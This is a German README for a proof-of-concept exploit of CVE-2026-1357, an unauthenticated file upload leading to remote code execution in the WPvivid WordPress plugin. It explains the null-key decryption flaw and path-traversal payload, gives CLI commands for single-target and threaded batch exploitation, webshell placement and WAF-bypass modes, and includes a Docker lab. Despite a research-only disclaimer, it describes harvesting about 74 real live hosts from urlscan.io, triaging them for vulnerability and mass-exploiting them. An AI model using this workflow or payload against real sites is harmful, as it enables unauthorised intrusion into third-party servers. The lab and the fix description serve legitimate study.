
Proof-of-Concept-Exploit für CVE-2026-1357, einen nicht authentifizierten beliebigen Datei-Upload in WPvivid Backup & Migration, der zu Remote-Code-Ausführung führt. Enthält ein eigenständiges Python-Skript, WAF-Umgehungstechniken und eine dockerisierte verwundbare Laborumgebung zur Autorisierung
PoC für CVE-2026-1357 (CVSS 9.8 Kritisch, CWE-434): ein nicht authentifizierter beliebiger Datei-Upload im WPvivid Backup & Migration Plugin für WordPress, der zu Remote Code Execution führt. Behoben in 0.9.124 (Changeset 3448386). Gemeldet von Lucas Montes über das Wordfence Bug Bounty Programm.
███████╗ █████╗ ██╗ ██╗ ███╗ ███╗ ███████╗ ███████╗ ██████╗
██╔════╝ ██╔══██╗ ██║ ██║ ████╗ ████║ ██╔════╝ ██╔════╝ ██╔════╝
███████╗ ███████║ ███████║ ██╔████╔██║ ███████╗ █████╗ ██║
╚════██║ ██╔══██║ ██╔══██║ ██║╚██╔╝██║ ╚════██║ ██╔══╝ ██║
███████║ ██║ ██║ ██║ ██║ ██║ ╚═╝ ██║ ███████║ ███████╗ ╚██████╗
╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚══════╝ ╚══════╝ ╚═════╝
Dieser Proof of Concept wird nur für autorisierte Sicherheitsforschung, Bildung und defensive Tests bereitgestellt.
Der nicht authentifizierte send_to_site-Handler
(includes/customclass/class-wpvivid-send-to-site.php) entschlüsselt einen
vom Angreifer gelieferten Blob und schreibt den Inhalt von $params['data']
nach wp-content/wpvividbackups/<vom Angreifer kontrollierter Name> — ohne
Authentifizierung, ohne Nonce und ohne Pfadbereinigung bei name.
Der beabsichtigte Schutz ist RSA: Die Nachricht muss mit einem zufälligen
Sitzungsschlüssel verschlüsselt werden, der selbst mit dem Schlüssel der
Website RSA-verschlüsselt ist. Der Fehler liegt in
WPvivid_crypt::decrypt_message (includes/class-wpvivid-crypt.php):
$key = $rsa->decrypt($key); // returns FALSE on failure (bad key blob)
$rij = new Crypt_Rijndael();
$rij->setKey($key); // FALSE is treated as a null-byte key
return $rij->decrypt($data);
phpseclibs Crypt_RSA::decrypt() gibt false zurück, wenn der gelieferte
Schlüssel-Blob nicht entschlüsselt werden kann (z. B. wenn
openssl_private_decrypt() fehlschlägt), und das Plugin bricht nicht ab.
false wird dann an Crypt_Rijndael::setKey() übergeben, wo
strlen(false) → 0 → der Schlüssel wird auf 16 Null-Bytes aufgefüllt
(AES-128, CBC-Modus, Null-IV). Ein Angreifer „verschlüsselt" die Nutzlast
daher mit einem vollständig vorhersehbaren Null-Schlüssel — ohne Kenntnis
des tatsächlichen Website-Schlüssels.
Die Nutzlast ist JSON:
{"backup_id":"poc","name":"../../pocXXXXXXXX.php","offset":0,
"file_size":<len>,"md5":"<md5>","data":"<base64 of PHP>"}
name wird ohne Bereinigung in den Pfad eingefügt
(str_replace('wpvivid','wpvivid_temp', $name) schreibt nur die
"wpvivid"-Teilzeichenkette um), sodass ../../ aus
wp-content/wpvividbackups/ in das Webroot entkommt. Wenn
file_size/md5 übereinstimmen, wird die temporäre Datei in den vom
Angreifer gewählten Namen umbenannt → öffentlich zugängliches PHP → RCE.
Der Fix (Changeset 3448386) bricht ab, wenn der RSA-Schritt fehlschlägt:
if ($key === false || empty($key)) {
return false;
}
Ziel:
wpvivid_api_token muss vorhanden und nicht abgelaufen sein —
wird erstellt, wenn ein Administrator unter WPvivid → Einstellungen →
Auto-Migration auf Generieren klickt (häufig auf Websites, die die
Migrationsfunktion nutzen)Angreifer:
script.py ist vollständig eigenständig: nur Standardbibliothek, keine
lokalen Importe, keine externen Dateien. Einfache positionelle CLI:
# einzelnes Ziel
python script.py https://target.example.com
# benutzerdefinierter Befehl
python script.py https://target.example.com --command "uname -a"
# Stapelmodus (eine URL pro Zeile) -> success.txt / failed.txt
python script.py sites.txt --threads 10
# WAF-Umgehung: prozentkodierte Parameternamen/-werte oder Multipart-Body
python script.py https://target.example.com --encode
python script.py https://target.example.com --multipart
# Webshell nach dem Test selbst löschen
python script.py https://target.example.com --cleanup
Exit-Codes: 0 verwundbar, 1 andernfalls.
../lab/ enthält ein dockerisiertes verwundbares Ziel (WordPress 6.8 +
WPvivid 0.9.123-Quellcode aus plugins/):
cd ../lab
docker compose up -d
# WordPress-Installation unter http://localhost:8090/ abschließen
docker compose run --rm wpcli plugin activate wpvivid-backuprestore
docker compose cp ../CVE-2026-1357-poc/setup_token.php wp:/tmp/
docker compose exec wp php -r 'require "/var/www/html/wp-load.php"; include "/tmp/setup_token.php";'
cd ../CVE-2026-1357-poc
python script.py http://localhost:8090 --command id
Verifizierte funktionierende Quelle (live getestet, kein Konto erforderlich):
https://urlscan.io/search/#filename:wpvivid-backuprestore
~74 indizierte Seiten, die auf das Plugin-Slug verweisen; durchklicken und
die Hostnamen sammeln. Jede Ergebnis-URL beginnt mit dem Plugin-Pfad
(/wp-content/plugins/wpvivid-backuprestore/), sodass die
Host-Extraktion einfach ist.Queries, die getestet wurden und KEINE Ziele liefern (absichtlich
ausgeschlossen): Google/Bing-Dorks (inurl: liefert nur die eigenen
wordpress.org-Seiten des Plugins oder eine Bot-Wand), DuckDuckGo (gleich),
Shodan http.html: (indiziert abgeschnittenes HTML, null Treffer), Wayback
CDX-Wildcard (leer), PublicWWW (Gast-Scraping blockiert).
Die gesammelten Hosts an Triage füttern (in script.py als --triage
integriert), das für jede Website prüft:
wp-content/plugins/wpvivid-backuprestore/readme.txt →
Stable tag: 0.9.123 (unauth-Check mit geringem Rauschen;
?ver=-Asset-Query-Strings im HTML sind der Fallback)wpvivid_action=send_to_site&wpvivid_content=AAAA:
JSON-Antwort (The key is invalid.) = wpvivid_api_token vorhanden;
leer = kein Token / Plugin inaktiv / WAF hat den Probe abgeworfenNur Websites, die <= 0.9.123 und Token-aktiv sind, werden in
in-scope.txt geschrieben, dann:
python script.py sites.txt --triage --threads 10 # → in-scope.txt
python script.py in-scope.txt --threads 5
Techniken, die von einem langlebigen Uploader aus 2025 übernommen wurden, der in freier Wildbahn weiter funktionierte (gleicher Autor):
X-Requested-With: XMLHttpRequest,
Accept: application/json, */*;q=0.1, Same-Origin-Referer, Browser-UAReferer--threads N) mit kurzen Timeouts pro Anfragesuccess.txt / failed.txt werden im Stapelmodus geschrieben, nur
verifizierte Shells werden als Erfolg aufgezeichnet (wie die
success-Datei des Originals)--encode / --multipart für Request-Form-Umgehung../lab/waf/ fügt einen owasp/modsecurity-crs:apache-Reverse-Proxy vor dem
verwundbaren WordPress hinzu (WAF auf :8092, rohes Ziel auf :8093).
Gemessenes Verhalten:
| Schritt | Ergebnis durch CRS |
|---|---|
| Upload-POST (plain) | passiert — AES-Blob + AJAX-Header entsprechen keiner CRS-Regel |
Upload-POST (--encode) | passiert |
Upload-POST (--multipart) | passiert |
Shell-GET ?<p>=id / hostname / ls | passiert, Befehl wird ausgeführt |
Shell-GET ?<p>=id; hostname; uname -a | 403 — CRS-932xxx-Befehlsinjektionsregeln |
| Plain-GET (PWN-OK-Marker) | passiert |
Der verschlüsselte Upload ist für die CRS-Inhaltsprüfung unsichtbar (gleiche
Überlebenseigenschaft wie der whitelist-aussehende AJAX des Uploaders von
2025). Die einzige CRS-Oberfläche ist das nachfolgende Befehls-GET, daher
verwendet das Tool jetzt standardmäßig --command id und bestätigt RCE über
den Plain-GET-PWN-OK-Marker, selbst wenn das Befehls-GET von der WAF
gefiltert wird (als vulnerable mit einem Hinweis gemeldet). On-Host-WAFs,
die wpvivid_action=send_to_site signieren (z. B. Wordfence-Virtual-Patch),
blockieren den Upload selbst weiterhin auf Plugin-Ebene — kein
Request-Form-Trick kommt daran vorbei.